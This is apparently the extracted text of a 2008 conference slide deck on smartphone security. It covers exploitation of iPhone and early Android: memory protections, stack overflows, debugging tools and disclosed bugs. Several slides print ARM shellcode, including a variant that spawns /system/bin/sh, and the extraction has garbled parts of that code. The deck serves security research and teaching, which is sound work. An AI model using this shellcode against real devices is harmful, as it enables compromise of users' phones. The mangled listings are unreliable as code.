Smartphone (in) Security
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1 Smartphone (in) Security Smartphones (in)security Nicolas Economou and Alfredo Ortega October 6, 2008
2 In this talk: 1. Introduction 2. Smartphone Security overview 3. Explotation and shellcodes for both platforms 4. Demostration 5. Real vulnerabilites reported
3 Introduction What is a smartphone? 1. No clear definition.
4 Introduction What is a smartphone? 1. No clear definition. Figure: Not a smartphone!
5 Introduction What is a smartphone? 1. No clear definition. Figure: Not a smartphone! 2. Common cellphone with advanced features and complete OS 3. Big players: Nokia (Symbian), Apple (iphone) and RIM (Blackberry) 4. Google Android: The newcomer
6 Android and Iphone Figure: Unix and Webkit based: High compatibility 1. IPhone: ARMv6 CPU, Mac OS-X (Darwin 9.4.1) 2. Android: ARMv5 CPU, Linux
7 Why attack smartphones? 1. Personal data and Identity thief 2. High speed and permanent connection (3G) 3. Small variability (few security updates) 4. High bug-count (few audits, small time-to-market)
8 Why attack smartphones? 1. Personal data and Identity thief 2. High speed and permanent connection (3G) 3. Small variability (few security updates) 4. High bug-count (few audits, small time-to-market) 5. Terrorist target Figure: Exploit writer (Terrorist)
9 Protections (Simplified diagram) IPHONE 0x Contiguous 0x Code (.TEXT) Data (.DATA) Heap Stack NX Libs ANDROID 0x Contiguous 0xAFB00000 RANDOM Code (.TEXT) Data (.DATA) Heap Libs Stack Figure: Memory Maps
10 Example bug recv ed PhoneX bug Stack Buffer Lenght Overflow Figure: Basic stack overflow
11 Tools and versions Iphone: MAC-OSX, Darwin 9.4.1, gcc Debugger: iphonedbg ( Android: android-sdk-linux x86-1.0r1 - Codesourcery arm-2008q1-126 gcc Debugger: GNU gdb (
12 IPhone-tunnel 1. Opens a tcp tunnel from PC to iphone via the USB cable 2. Inspired on iphuc 3. Needs itunes installed (uses certain services from it) 4. Download from: tunnel-v1.01+.zip
13 IPhone-tunnel IPhone ITunes ITunes USB Apple mobile service TCP Apple mobile service PC Function Calls IPhone_tunnel.exe TCP NET Figure: Tunnel internal working model
14 IPhonedbg 1. Application for iphone process debugging 2. Was created using weasel as a guide 3. Interface based on Windows ntsd.exe debugger. 4. Download from:
15 Explotation iphone exploiting 0xffffffff Libs 0x Stack Jump! Jmp sp mprotect Jmp to: Set R0 Jmp to: Set R1 Jmp to: Set R2 0x Figure: Iphone explotation
16 Explotation Android exploiting 0xBF Random! Stack Jmp sp Overflow Heap 0x Figure: Android explotation
17 Binary compatibility int execve(cont char *filename, char *const argv[], char *const envp[]); R0 #11 #59 R1 R2 R3 R7 R12 ssize_t write(int fd, const void *buf, size_t count); R0 #4 #4 R1 R2 R3 R7 R12 Figure: Syscalls examples
18 Shellcode Android/Iphone char s h e l l c o d e []= // s y s w r i t e (... ) \ x0f\x80\xa0\xe1 // mov r8, pc \x04\x70\xa0\xe3 // mov r7,#4 ( s y s c a l l #) \x00\x00\xa0\xe3 // mov r0,#0 // s t d o u t \x08\x10\xa0\xe1 // mov r1, r8 r1 >pc \x2c\x10\x81\xe2 // add r1, r1, #0x2C \x0e\x20\xa0\xe3 // mov r2, 0 x10 ( s i z e ) \x07\xc0\xa0\xe1 // mov r12, r7 // compat iphone \x80\x00\x00\ xef // svc 0x // s y s e x i t ( 1 ) \x01\x00\xa0\xe3 // mov r0,#1 \x01\x70\xa0\xe3 // mov r7,#1 ( s y s c a l l #) \x08\x80\xa0\xe1 // NOP (mov r8, r8 ) \x07\xc0\xa0\xe1 // mov r12, r7 // compat iphone \x80\x00\x00\ xef // svc 0x h o l a l o c o!\ n\x00 ;
19 Shellcode Android/Iphone THUMB char shellcodethumb [ ] = // w r i t e ( ) // e x i t ( 1 ) (No nulls!) \x46\ x f 8 //mov r8, pc ( Get EIP ) \x20\x02 //mov r0,#2 ( s t d e r r ) \x27\x04 // mov r7,#4 ( s y s c a l l w r i t e ) \x46\x41 // mov r1, r 8 ( s t r i n g ) \x31\x14 // add r1,#0 x14 \x22\x10 // mov r2,#0 x10 ( s i z e ) \x46\xbc // mov r12, r7 ( compat iphone ) \ x d f \x80 // s v c #0x80 \x21\x01 // mov r1,#1 \x27\x01 // mov r7,#1 ( s y s e x i t ) \x46\xbc // mov r12, r7 ( compat iphone ) \ x d f \x80 // s v c #0x80 h o l a l o c o!\ n\x00 ;
20 Shellcode Android/Iphone ExecVE s t a r t : b c o d e s t a r t arg0 :. a s c i i / system / b i n / sh\x00 arg1 :. a s c i i c\x00 arg2 :. a s c i i / system / b i n / s e r v i c e \x00 env :. a s c i i \x00\x00\x00\x00\x00\x00 c o d e s t a r t : mov r8, pc sub r0, sub r1, sub r2, sub r3, sub r4, s t r r0, [ r 4 ] add r4, s t r r1, [ r 4 ] add r4, s t r r2, [ r 4 ] sub r1, sub r2, mov s y s c a l l # mov i p h o n e s v c #0x
21 Demo! Figure: Demo-time!
22 Real thing: 1. CORE : Multiple vulnerabilities in Google s Android SDK : Browser exploit for the BMP format. 2. CORE : iphone Safari JavaScript alert Denial of Service: Webcore process denial of service.
23 Final questions? The end!
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